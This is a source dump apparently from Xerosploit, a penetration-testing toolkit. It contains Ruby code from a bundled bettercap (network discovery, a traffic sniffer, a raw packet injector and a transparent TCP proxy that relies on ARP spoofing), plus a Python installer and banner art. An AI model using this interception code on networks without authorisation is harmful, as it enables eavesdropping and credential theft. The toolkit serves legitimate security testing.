Parsers::Base.from_cmdline(v) 75 | end 76 | 77 | opts.on( '--custom-parser EXPRESSION', 'Use a custom regular expression in order to capture and show sniffed data ( NOTE: Will set -X to true ).' ) do |v| 78 | @enabled = true 79 | @parsers = ['CUSTOM'] 80 | @custom_parser = Regexp.new(v) 81 | end 82 | end 83 | 84 | # Return true if the specified +parser+ is enabled, otherwise false. 85 | def enabled?( parser = nil ) 86 | @enabled and ( parser.nil? or ( @parsers.include?('*') or @parsers.include?(parser.upcase) ) ) 87 | end 88 | end 89 | 90 | end 91 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/discovery/thread.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | module BetterCap 14 | module Discovery 15 | # Class responsible to actively discover targets on the network. 16 | class Thread 17 | # Initialize the class using the +ctx+ BetterCap::Context instance. 18 | def initialize( ctx ) 19 | @ctx = ctx 20 | @running = false 21 | @thread = nil 22 | end 23 | 24 | # Start the active network discovery thread. 25 | def start 26 | @running = true 27 | @thread = ::Thread.new { worker } 28 | 29 | if @ctx.options.core.discovery? 30 | ###Logger.info "[#{'DISCOVERY'.green}] Targeting the whole subnet #{@ctx.iface.network.to_range} ..." 31 | # give some time to the discovery thread to spawn its workers, 32 | # this will prevent 'Too many open files' errors to delay host 33 | # discovery. 34 | sleep(1.5) 35 | end 36 | end 37 | 38 | # Stop the active network discovery thread. 39 | def stop 40 | @running = false 41 | if @thread != nil 42 | begin 43 | @thread.exit 44 | rescue 45 | end 46 | end 47 | end 48 | 49 | private 50 | 51 | # Return true if the +list+ of targets includes +target+. 52 | def list_include_target?( list, target ) 53 | list.each do |t| 54 | if t.equals?(target.ip, target.mac) 55 | return true 56 | end 57 | end 58 | false 59 | end 60 | 61 | # Print informations about new and lost targets. 62 | def print_differences( prev ) 63 | diff = { :new => [], :lost => [] } 64 | 65 | @ctx.targets.each do |target| 66 | unless list_include_target?( prev, target ) 67 | diff[:new] << target 68 | end 69 | end 70 | 71 | prev.each do |target| 72 | unless list_include_target?( @ctx.targets, target ) 73 | diff[:lost] << target 74 | end 75 | end 76 | 77 | unless diff[:new].empty? and diff[:lost].empty? 78 | if diff[:new].empty? 79 | snew = "" 80 | else 81 | snew = "Acquired #{diff[:new].size} new target#{diff[:new].size > 1 ? "s" : ""}" 82 | end 83 | 84 | if diff[:lost].empty? 85 | slost = "" 86 | else 87 | slost = "#{snew.empty?? 'L' : ', l'}ost #{diff[:lost].size} target#{diff[:lost].size > 1 ? "s" : ""}" 88 | end 89 | 90 | Logger.info "#{snew}#{slost} :" 91 | 92 | msg = "\n" 93 | diff[:new].each do |target| 94 | msg += " [#{'NEW'.green}] #{target.to_s(false)}\n" 95 | end 96 | diff[:lost].each do |target| 97 | msg += " [#{'LOST'.red}] #{target.to_s(false)}\n" 98 | end 99 | msg += "\n" 100 | Logger.raw msg 101 | end 102 | end 103 | 104 | # This method implements the main discovery logic, it will be executed within 105 | # the spawned thread. 106 | def worker 107 | Logger.debug( 'Network discovery thread started.' ) if @ctx.options.core.discovery? 108 | 109 | prev = [] 110 | while @running 111 | # No targets specified. 112 | if @ctx.options.core.targets.nil? 113 | @ctx.targets = Network.get_alive_targets(@ctx).sort_by { 114 | |t| t.sortable_ip 115 | } 116 | end 117 | 118 | print_differences( prev ) if @ctx.options.core.discovery? 119 | 120 | prev = @ctx.targets 121 | 122 | @ctx.memory.optimize! 123 | sleep(1) if @ctx.options.core.discovery? 124 | end 125 | end 126 | end 127 | end 128 | end 129 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/logger.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | module BetterCap 14 | # Class responsible for console and file logging. 15 | module Logger 16 | class << self 17 | @@ctx = nil 18 | @@queue = Queue.new 19 | @@debug = false 20 | @@timestamp = false 21 | @@silent = false 22 | @@logfile = nil 23 | @@thread = nil 24 | 25 | # Initialize the logging system. 26 | def init( ctx ) 27 | @@debug = ctx.options.core.debug 28 | @@logfile = ctx.options.core.logfile 29 | @@silent = ctx.options.core.silent 30 | @@timestamp = ctx.options.core.log_timestamp 31 | @@ctx = ctx 32 | @@thread = Thread.new { worker } 33 | end 34 | 35 | # Log the exception +e+, if this is a beta version, log it as a warning, 36 | # otherwise as a debug message. 37 | def exception(e) 38 | msg = "Exception : #{e.class}\n" + 39 | "Message : #{e.message}\n" + 40 | "Backtrace :\n\n #{e.backtrace.join("\n ")}\n" 41 | 42 | if BetterCap::VERSION.end_with?('b') 43 | self.warn(msg) 44 | else 45 | self.debug(msg) 46 | end 47 | end 48 | 49 | # Log an error +message+. 50 | def error(message) 51 | @@queue.push formatted_message(message, 'E').red 52 | end 53 | 54 | # Log an information +message+. 55 | def info(message) 56 | @@queue.push( formatted_message(message, 'I') ) unless @@silent 57 | end 58 | 59 | # Log a warning +message+. 60 | def warn(message) 61 | @@queue.push formatted_message(message, 'W').yellow 62 | end 63 | 64 | # Log a debug +message+. 65 | def debug(message) 66 | if @@debug and not @@silent 67 | @@queue.push formatted_message(message, 'D').light_black 68 | end 69 | end 70 | 71 | # Log a +message+ as it is. 72 | def raw(message) 73 | @@queue.push( formatted_message( message, nil ) ) 74 | end 75 | 76 | # Wait for the messages queue to be empty. 77 | def wait! 78 | while not @@queue.empty? 79 | if @@thread.nil? 80 | emit @@queue.pop 81 | else 82 | sleep 0.3 83 | end 84 | end 85 | end 86 | 87 | private 88 | 89 | # Main logger logic. 90 | def worker 91 | loop do 92 | message = @@queue.pop 93 | if @@ctx.nil? or @@ctx.running 94 | begin 95 | emit message 96 | rescue Exception => e 97 | Logger.warn "Logger error: #{e.message}" 98 | Logger.exception e 99 | end 100 | end 101 | end 102 | end 103 | 104 | # Emit the +message+. 105 | def emit(message) 106 | # puts message 107 | unless @@logfile.nil? 108 | f = File.open( @@logfile, 'a+t' ) 109 | f.puts( message.gsub( /\e\[(\d+)(;\d+)*m/, '') + "\n") 110 | f.close 111 | end 112 | end 113 | 114 | # Format +message+ for the given +message_type+. 115 | def formatted_message(message, message_type) 116 | # raw message? 117 | if message_type.nil? 118 | if @@timestamp and !message.strip.empty? 119 | "[#{Time.now}] #{message}" 120 | else 121 | message 122 | end 123 | elsif @@timestamp 124 | "[#{Time.now}] [#{message_type}] #{message}" 125 | else 126 | "[#{message_type}] #{message}" 127 | end 128 | end 129 | end 130 | end 131 | end 132 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/network/protos/teamviewer.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Network 16 | module Protos 17 | module TeamViewer 18 | 19 | COMMANDS = { 20 | 10 => "CMD_IDENTIFY", 21 | 11 => "CMD_REQUESTCONNECT", 22 | 13 => "CMD_DISCONNECT", 23 | 14 => "CMD_VNCDISCONNECT", 24 | 15 => "CMD_TVCONNECTIONFAILED", 25 | 16 => "CMD_PING", 26 | 17 => "CMD_PINGOK", 27 | 18 => "CMD_MASTERCOMMAND", 28 | 19 => "CMD_MASTERRESPONSE", 29 | 20 => "CMD_CHANGECONNECTION", 30 | 21 => "CMD_NOPARTNERCONNECT", 31 | 22 => "CMD_CONNECTTOWAITINGTHREAD", 32 | 23 => "CMD_SESSIONMODE", 33 | 24 => "CMD_REQUESTROUTINGSESSION", 34 | 25 => "CMD_TIMEOUT", 35 | 26 => "CMD_JAVACONNECT", 36 | 27 => "CMD_KEEPALIVEBEEP", 37 | 28 => "CMD_REQUESTKEEPALIVE", 38 | 29 => "CMD_MASTERCOMMAND_ENCRYPTED", 39 | 30 => "CMD_MASTERRESPONSE_ENCRYPTED", 40 | 31 => "CMD_REQUESTRECONNECT", 41 | 32 => "CMD_RECONNECTTOWAITINGTHREAD", 42 | 33 => "CMD_STARTLOGGING", 43 | 34 => "CMD_SERVERAVAILABLE", 44 | 35 => "CMD_KEEPALIVEREQUEST", 45 | 36 => "CMD_OK", 46 | 37 => "CMD_FAILED", 47 | 38 => "CMD_PING_PERFORMANCE", 48 | 39 => "CMD_PING_PERFORMANCE_RESPONSE", 49 | 40 => "CMD_REQUESTKEEPALIVE2", 50 | 41 => "CMD_DISCONNECT_SWITCHEDTOUDP", 51 | 42 => "CMD_SENDMODE_UDP", 52 | 43 => "CMD_KEEPALIVEREQUEST_ANSWER", 53 | 44 => "CMD_ROUTE_CMD_TO_CLIENT", 54 | 45 => "CMD_NEW_MASTERLOGIN", 55 | 46 => "CMD_BUDDY", 56 | 47 => "CMD_ACCEPTROUTINGSESSION", 57 | 48 => "CMD_NEW_MASTERLOGIN_ANSWER", 58 | 49 => "CMD_BUDDY_ENCRYPTED", 59 | 50 => "CMD_REQUEST_ROUTE_BUDDY", 60 | 51 => "CMD_CONTACT_OTHER_MASTER", 61 | 52 => "CMD_REQUEST_ROUTE_ENCRYPTED", 62 | 53 => "CMD_ENDSESSION", 63 | 54 => "CMD_SESSIONID", 64 | 55 => "CMD_RECONNECT_TO_SESSION", 65 | 56 => "CMD_RECONNECT_TO_SESSION_ANSWER", 66 | 57 => "CMD_MEETING_CONTROL", 67 | 58 => "CMD_CARRIER_SWITCH", 68 | 59 => "CMD_MEETING_AUTHENTICATION", 69 | 60 => "CMD_ROUTERCMD", 70 | 61 => "CMD_PARTNERRECONNECT", 71 | 62 => "CMD_CONGRESTION_CONTROL", 72 | 63 => "CMD_ACK", 73 | 70 => "CMD_UDPREQUESTCONNECT", 74 | 71 => "CMD_UDPPING", 75 | 72 => "CMD_UDPREQUESTCONNECT_VPN", 76 | 90 => "CMD_DATA", 77 | 91 => "CMD_DATA2", 78 | 92 => "CMD_DATA_ENCRYPTED", 79 | 93 => "CMD_REQUESTENCRYPTION", 80 | 94 => "CMD_CONFIRMENCRYPTION", 81 | 95 => "CMD_ENCRYPTIONREQUESTFAILED", 82 | 96 => "CMD_REQUESTNOENCRYPTION", 83 | 97 => "CMD_UDPFLOWCONTROL", 84 | 98 => "CMD_DATA3", 85 | 99 => "CMD_DATA3_ENCRYPTED", 86 | 100 => "CMD_DATA3_RESENDPACKETS", 87 | 101 => "CMD_DATA3_ACKPACKETS", 88 | 102 => "CMD_AUTH_CHALLENGE", 89 | 103 => "CMD_AUTH_RESPONSE", 90 | 104 => "CMD_AUTH_RESULT", 91 | 105 => "CMD_RIP_MESSAGES", 92 | 106 => "CMD_DATA4", 93 | 107 => "CMD_DATASTREAM", 94 | 108 => "CMD_UDPHEARTBEAT", 95 | 109 => "CMD_DATA_DIRECTED", 96 | 110 => "CMD_UDP_RESENDPACKETS", 97 | 111 => "CMD_UDP_ACKPACKETS", 98 | 112 => "CMD_UDP_PROTECTEDCOMMAND", 99 | 113 => "CMD_FLUSHSENDBUFFER" 100 | } 101 | 102 | class Packet < Network::Protos::Base 103 | uint16rev :magic 104 | uint8 :command_code 105 | 106 | def version 107 | return '1' if self.magic == 0x1130 108 | return '2' 109 | end 110 | 111 | def command 112 | return COMMANDS[ self.command_code ] 113 | end 114 | end 115 | 116 | end 117 | end 118 | end 119 | end 120 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/proxy/tcp/proxy.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Proxy 16 | module TCP 17 | 18 | # Class used to encapsulate ( and keep references ) of a single TCP event-. 19 | # http://stackoverflow.com/questions/161510/pass-parameter-by-reference-in-ruby 20 | class Event 21 | # The source IP address of this event. 22 | attr_accessor :ip 23 | # Source port. 24 | attr_accessor :port 25 | # Reference to the buffer being transmitted. 26 | attr_accessor :data 27 | 28 | def initialize( ip, port, data = nil ) 29 | @ip = ip 30 | @port = port 31 | @data = data 32 | end 33 | end 34 | 35 | # Transparent TCP proxy class. 36 | class Proxy 37 | # Initialize the TCP proxy with given arguments. 38 | def initialize( address, port, up_address, up_port ) 39 | @address = address 40 | @port = port 41 | @upstream_address = up_address 42 | @upstream_port = up_port 43 | @ctx = BetterCap::Context.get 44 | @worker = nil 45 | end 46 | 47 | # Start the proxy. 48 | def start 49 | Logger.info "[#{'TCP PROXY'.green}] Starting on #{@address}:#{@port} ( -> #{@upstream_address}:#{@upstream_port} ) ..." 50 | @worker = Thread.new &method(:worker) 51 | # If the upstream server is in this network, we need to make sure that its MAC 52 | # address is discovered and put in the ARP cache before we even start the proxy, 53 | # otherwise internal connections won't be spoofed and the proxy will be useless 54 | # until some random event will fill the ARP cache for the server. 55 | if @ctx.iface.network.include?( @upstream_address ) 56 | Logger.debug "[#{'TCP PROXY'.green}] Sending probe to upstream server address ..." 57 | BetterCap::Network.get_hw_address( @ctx, @upstream_address ) 58 | # wait for the system to acknowledge the ARP cache changes. 59 | sleep( 1 ) 60 | end 61 | end 62 | 63 | # Stop the proxy. 64 | def stop 65 | Logger.info "Stopping TCP proxy ..." 66 | ::Proxy.stop 67 | @worker.join 68 | end 69 | 70 | private 71 | 72 | def worker 73 | begin 74 | up_addr = @upstream_address 75 | up_port = @upstream_port 76 | up_svc = BetterCap::StreamLogger.service( :tcp, @upstream_port ) 77 | 78 | ::Proxy.start(:host => @address, :port => @port) do |conn| 79 | conn.server :srv, :host => up_addr, :port => up_port 80 | 81 | # ip -> upstream 82 | conn.on_data do |data| 83 | ip, port = peer 84 | event = Event.new( ip, port, data ) 85 | 86 | Logger.info "[#{'TCP PROXY'.green}] #{ip} #{'->'.green} #{'upstream'.yellow}:#{up_svc} ( #{event.data.bytesize} bytes )" 87 | 88 | Module.dispatch( 'on_data', event ) 89 | event.data 90 | end 91 | 92 | # upstream -> ip 93 | conn.on_response do |backend, resp| 94 | ip, port = peer 95 | event = Event.new( ip, port, resp ) 96 | 97 | Logger.info "[#{'TCP PROXY'.green}] #{'upstream'.yellow}:#{up_svc} #{'->'.green} #{ip} ( #{event.data.bytesize} bytes )" 98 | 99 | Module.dispatch( 'on_response', event ) 100 | event.data 101 | end 102 | 103 | # termination 104 | conn.on_finish do |backend, name| 105 | ip, port = peer 106 | event = Event.new( ip, port ) 107 | 108 | Logger.info "[#{'TCP PROXY'.green}] #{ip} <- #{'closed'.red} -> #{'upstream'.yellow}:#{up_svc}" 109 | 110 | Module.dispatch( 'on_finish', event ) 111 | unbind 112 | end 113 | end 114 | rescue Exception => e 115 | Logger.error e.message 116 | Logger.exception e 117 | end 118 | end 119 | end 120 | 121 | end 122 | end 123 | end 124 | -------------------------------------------------------------------------------- /install.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import os 4 | import sys 5 | 6 | #---------------------------------------------------------------------------# 7 | # This file is part of Xerosploit. # 8 | # Xerosploit is free software: you can redistribute it and/or modify # 9 | # it under the terms of the GNU General Public License as published by # 10 | # the Free Software Foundation, either version 3 of the License, or # 11 | # (at your option) any later version. # 12 | # # 13 | # Xerosploit is distributed in the hope that it will be useful, # 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of # 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # 16 | # GNU General Public License for more details. # 17 | # # 18 | # You should have received a copy of the GNU General Public License # 19 | # along with Xerosploit. If not, see <http://www.gnu.org/licenses/>. # 20 | # # 21 | #---------------------------------------------------------------------------# 22 | # # 23 | # Copyright © 2016 LionSec (www.lionsec.net) # 24 | # # 25 | #---------------------------------------------------------------------------# 26 | 27 | if not os.geteuid() == 0: 28 | sys.exit("""\033[1;91m\n[!] Xerosploit installer must be run as root. ¯\_(ツ)_/¯\n\033[1;m""") 29 | 30 | print(""" \033[1;36m 31 | ┌══════════════════════════════════════════════════════════════┐ 32 | █ █ 33 | █ Xerosploit Installer █ 34 | █ █ 35 | └══════════════════════════════════════════════════════════════┘ \033[1;m""") 36 | 37 | def main(): 38 | 39 | print("\033[1;34m\n[++] Please choose your operating system.\033[1;m") 40 | 41 | print(""" 42 | 1) Ubuntu / Kali linux / Others 43 | 2) Parrot OS 44 | """) 45 | system0 = raw_input(">>> ") 46 | if system0 == "1": 47 | print("\033[1;34m\n[++] Installing Xerosploit ... \033[1;m") 48 | install = os.system("apt-get update && apt-get install -y nmap hping3 build-essential python-pip ruby-dev git libpcap-dev libgmp3-dev && pip install tabulate terminaltables") 49 | 50 | install1 = os.system("""cd tools/bettercap/ && gem build bettercap.* && sudo gem install xettercap-* && rm xettercap-* && cd ../../ && mkdir -p /opt/xerosploit && cp -R tools/ /opt/xerosploit/ && cp xerosploit.py /opt/xerosploit/xerosploit.py && cp banner.py /opt/xerosploit/banner.py && cp run.sh /usr/bin/xerosploit && chmod +x /usr/bin/xerosploit && tput setaf 34; echo "Xerosploit has been sucessfuly instaled. Execute 'xerosploit' in your terminal." """) 51 | elif system0 == "2": 52 | print("\033[1;34m\n[++] Installing Xerosploit ... \033[1;m") 53 | 54 | bet_un = os.system("apt-get remove bettercap") # Remove bettercap to avoid some problems . Installed by default with apt-get . 55 | bet_re_ins = os.system("gem install bettercap") # Reinstall bettercap with gem. 56 | 57 | install = os.system("apt-get update && apt-get install -y nmap hping3 ruby-dev git libpcap-dev libgmp3-dev python-tabulate python-terminaltables") 58 | 59 | install1 = os.system("""cd tools/bettercap/ && gem build bettercap.* && sudo gem install xettercap-* && rm xettercap-* && cd ../../ && mkdir -p /opt/xerosploit && cp -R tools/ /opt/xerosploit/ && cp xerosploit.py /opt/xerosploit/xerosploit.py && cp banner.py /opt/xerosploit/banner.py && cp run.sh /usr/bin/xerosploit && chmod +x /usr/bin/xerosploit && tput setaf 34; echo "Xerosploit has been sucessfuly instaled. Execute 'xerosploit' in your terminal." """) 60 | 61 | 62 | else: 63 | print("Please select the option 1 or 2") 64 | main() 65 | main() 66 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/network/packet_queue.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Network 16 | # This class is responsible for sending various network packets. 17 | class PacketQueue 18 | # Initialize the PacketQueue, it will spawn +nworkers+ thread and 19 | # will send packets to the +iface+ network interface. 20 | # If +packet_throttle+ is different than 0.0, it will be used as 21 | # a delay between each packet to be sent. 22 | def initialize( iface, packet_throttle = 0.0, nworkers = 4 ) 23 | @iface = iface 24 | @nworkers = nworkers 25 | @throttle = packet_throttle; 26 | @running = true 27 | @stream = PCAPRUB::Pcap.open_live( iface, 0xffff, false , 1 ) 28 | @mutex = Mutex.new 29 | @queue = Queue.new 30 | @workers = (0...nworkers).map { ::Thread.new { worker } } 31 | @ctx = Context.get 32 | 33 | begin 34 | @udp = UDPSocket.new 35 | rescue Errno::EMFILE 36 | Logger.warn "It looks like another process is using a lot of UDP file descriptors" \ 37 | "and the operating system is denying resources to me, I'll try again in one second." 38 | 39 | sleep 1.0 40 | retry 41 | end 42 | end 43 | 44 | # Push a packet to the queue. 45 | def push(packet) 46 | @queue.push(packet) 47 | @ctx.memory.optimize! if ( @queue.size == 1 ) 48 | end 49 | 50 | # Wait for the packet queue to be empty. 51 | def wait_empty( timeout ) 52 | Timeout::timeout(timeout) { 53 | while !@queue.empty? 54 | sleep 0.5 55 | end 56 | } 57 | rescue 58 | end 59 | 60 | # Notify the queue to stop and wait for every worker to finish. 61 | def stop 62 | wait_empty( 6000 ) 63 | @running = false 64 | @nworkers.times { push(nil) } 65 | @workers.map(&:join) 66 | end 67 | 68 | private 69 | 70 | # Unpack [ ip, port, data ] from +packet+ and send it using the global 71 | # UDPSocket instance. 72 | def dispatch_udp_packet(packet) 73 | ip, port, data = packet 74 | @mutex.synchronize { 75 | # Logger.debug "Sending UDP data packet to #{ip}:#{port} ..." 76 | @udp.send( data, 0, ip, port ) 77 | } 78 | end 79 | 80 | # Use the global Pcap injection instance to send the +packet+. 81 | def dispatch_raw_packet(packet) 82 | @mutex.synchronize { 83 | # Logger.debug "Sending #{packet.class.name} packet ..." 84 | @stream.inject( packet.headers[0].to_s ) 85 | } 86 | end 87 | 88 | # Main PacketQueue logic. 89 | def worker 90 | Logger.debug "PacketQueue worker started." 91 | 92 | while @running 93 | begin 94 | packet = @queue.pop 95 | case packet 96 | # nil packet pushed to signal stopping 97 | when nil 98 | Logger.debug "Got nil packet, PacketQueue stopping ..." 99 | break 100 | # [ ip, port, data ] pushed by Discovery::Agents::Udp 101 | when Array 102 | dispatch_udp_packet(packet) 103 | # PacketFu raw packet 104 | when Object 105 | dispatch_raw_packet(packet) 106 | end 107 | 108 | sleep(@throttle) if @throttle != 0.0 109 | 110 | rescue Exception => e 111 | if !e.message.include?('Host is down') and !e.message.include?('Permission denied') and !e.message.include?('No route to host') 112 | Logger.debug "#{self.class.name} ( #{packet.class.name} ) : #{e.message}" 113 | end 114 | 115 | # If we've got an error message such as: 116 | # (cannot open BPF device) /dev/bpf0: Too many open files 117 | # We want to retry to probe this ip in a while. 118 | if e.message.include? 'Too many open files' 119 | Logger.debug "Repushing #{self.class.name} to the packet queue ..." 120 | push(packet) 121 | end 122 | end 123 | end 124 | 125 | Logger.debug "PacketQueue worker stopped." 126 | end 127 | end 128 | end 129 | end 130 | -------------------------------------------------------------------------------- /banner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # Xerosploit banners 4 | 5 | 6 | #---------------------------------------------------------------------------# 7 | # This file is part of Xerosploit. # 8 | # Xerosploit is free software: you can redistribute it and/or modify # 9 | # it under the terms of the GNU General Public License as published by # 10 | # the Free Software Foundation, either version 3 of the License, or # 11 | # (at your option) any later version. # 12 | # # 13 | # Xerosploit is distributed in the hope that it will be useful, # 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of # 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # 16 | # GNU General Public License for more details. # 17 | # # 18 | # You should have received a copy of the GNU General Public License # 19 | # along with Xerosploit. If not, see <http://www.gnu.org/licenses/>. # 20 | # # 21 | #---------------------------------------------------------------------------# 22 | # # 23 | # Copyright © 2019 Neodrix (www.neodrix.com) # 24 | # # 25 | #---------------------------------------------------------------------------# 26 | 27 | 28 | import random 29 | 30 | header1 = """ 31 | 32 | ▒██ ██▒▓█████ ██▀███ ▒█████ ██████ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓ 33 | ▒▒ █ █ ▒░▓█ ▀ ▓██ ▒ ██▒▒██▒ ██▒▒██ ▒ ▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒ 34 | ░░ █ ░▒███ ▓██ ░▄█ ▒▒██░ ██▒░ ▓██▄ ▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░ 35 | ░ █ █ ▒ ▒▓█ ▄ ▒██▀▀█▄ ▒██ ██░ ▒ ██▒▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ 36 | ▒██▒ ▒██▒░▒████▒░██▓ ▒██▒░ ████▓▒░▒██████▒▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ 37 | ▒▒ ░ ░▓ ░░░ ▒░ ░░ ▒▓ ░▒▓░░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ 38 | ░░ ░▒ ░ ░ ░ ░ ░▒ ░ ▒░ ░ ▒ ▒░ ░ ░▒ ░ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ 39 | ░ ░ ░ ░░ ░ ░ ░ ░ ▒ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ 40 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 41 | """ 42 | 43 | header2 = """ 44 | 45 | ██╗ ██╗███████╗██████╗ ██████╗ ███████╗██████╗ ██╗ ██████╗ ██╗████████╗ 46 | ╚██╗██╔╝██╔════╝██╔══██╗██╔═══██╗██╔════╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝ 47 | ╚███╔╝ █████╗ ██████╔╝██║ ██║███████╗██████╔╝██║ ██║ ██║██║ ██║ 48 | ██╔██╗ ██╔══╝ ██╔══██╗██║ ██║╚════██║██╔═══╝ ██║ ██║ ██║██║ ██║ 49 | ██╔╝ ██╗███████╗██║ ██║╚██████╔╝███████║██║ ███████╗╚██████╔╝██║ ██║ 50 | ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ 51 | """ 52 | 53 | header3 = """ 54 | 55 | ▄ ▄███▄ █▄▄▄▄ ████▄ ▄▄▄▄▄ █ ▄▄ █ ████▄ ▄█ ▄▄▄▄▀ 56 | ▀▄ █ █▀ ▀ █ ▄▀ █ █ █ ▀▄ █ █ █ █ █ ██ ▀▀▀ █ 57 | █ ▀ ██▄▄ █▀▀▌ █ █ ▄ ▀▀▀▀▄ █▀▀▀ █ █ █ ██ █ 58 | ▄ █ █▄ ▄▀ █ █ ▀████ ▀▄▄▄▄▀ █ ███▄ ▀████ ▐█ █ 59 | █ ▀▄ ▀███▀ █ █ ▀ ▐ ▀ 60 | ▀ ▀ ▀ 61 | """ 62 | 63 | header4 = """ 64 | ____ __ \033[1;36m________ ______ _____ _____ \033[1;m 65 | __ |/ /_____ ______________ \033[1;36m__ ___/________ ___ /______ ___(_)__ /_\033[1;m 66 | __ / _ _ \__ ___/_ __ \\\033[1;36m_____ \ ___ __ \__ / _ __ \__ / _ __/\033[1;m 67 | _ | / __/_ / / /_/ /\033[1;36m____/ / __ /_/ /_ / / /_/ /_ / / /_ \033[1;m 68 | /_/|_| \___/ /_/ \____/ \033[1;36m/____/ _ .___/ /_/ \____/ /_/ \__/ \033[1;m 69 | \033[1;36m /_/ \033[1;m 70 | """ 71 | 72 | def xe_header(): 73 | headers = [header1, header2, header3, header4] 74 | return random.choice(headers) 75 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/sniffer.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | # Class responsible of loading BetterCap::Parsers instances and performing 16 | # network packet sniffing and dumping. 17 | class Sniffer 18 | include PacketFu 19 | 20 | @@ctx = nil 21 | @@parsers = nil 22 | @@pcap = nil 23 | @@cap = nil 24 | 25 | # Start a new thread that will sniff packets from the network and pass 26 | # each one of them to the BetterCap::Parsers instances loaded inside the 27 | # +ctx+ BetterCap::Context instance. 28 | def self.start( ctx ) 29 | Thread.new { 30 | Logger.debug 'Starting sniffer ...' 31 | 32 | setup( ctx ) 33 | 34 | start = Time.now 35 | skipped = 0 36 | processed = 0 37 | 38 | self.stream.each do |raw_packet| 39 | break unless @@ctx.running 40 | begin 41 | parsed = PacketFu::Packet.parse(raw_packet) 42 | rescue Exception => e 43 | parsed = nil 44 | end 45 | 46 | if skip_packet?(parsed) 47 | skipped += 1 48 | else 49 | processed += 1 50 | append_packet raw_packet 51 | parse_packet parsed 52 | end 53 | end 54 | 55 | stop = Time.now 56 | delta = ( stop - start ) * 1000.0 57 | total = skipped + processed 58 | 59 | Logger.info "[#{'SNIFFER'.green}] #{total} packets processed in #{delta} ms ( #{skipped} skipped packets, #{processed} processed packets )" 60 | } 61 | end 62 | 63 | private 64 | 65 | # Return the current PCAP stream. 66 | def self.stream 67 | if @@ctx.options.sniff.src.nil? 68 | return @@cap.stream 69 | else 70 | Logger.info "[#{'SNIFFER'.green}] Reading packets from #{@@ctx.options.sniff.src} ..." 71 | 72 | begin 73 | return PacketFu::PcapFile.file_to_array @@ctx.options.sniff.src 74 | rescue Exception => e 75 | Logger.error "Error while parsing #{@@ctx.options.sniff.src}: #{e.message}" 76 | Logger.exception e 77 | end 78 | end 79 | return [] 80 | end 81 | 82 | # Return true if the +pkt+ packet instance must be skipped. 83 | def self.skip_packet?( pkt ) 84 | begin 85 | # not parsed 86 | return true if pkt.nil? 87 | # not IP packet 88 | return true unless pkt.is_ip? 89 | # skip if local packet and --local|-L was not specified. 90 | unless @@ctx.options.sniff.local 91 | return ( pkt.ip_saddr == @@ctx.iface.ip or pkt.ip_daddr == @@ctx.iface.ip ) 92 | end 93 | rescue; end 94 | false 95 | end 96 | 97 | # Apply each parser on the given +parsed+ packet. 98 | def self.parse_packet( parsed ) 99 | @@parsers.each do |parser| 100 | begin 101 | parser.on_packet parsed 102 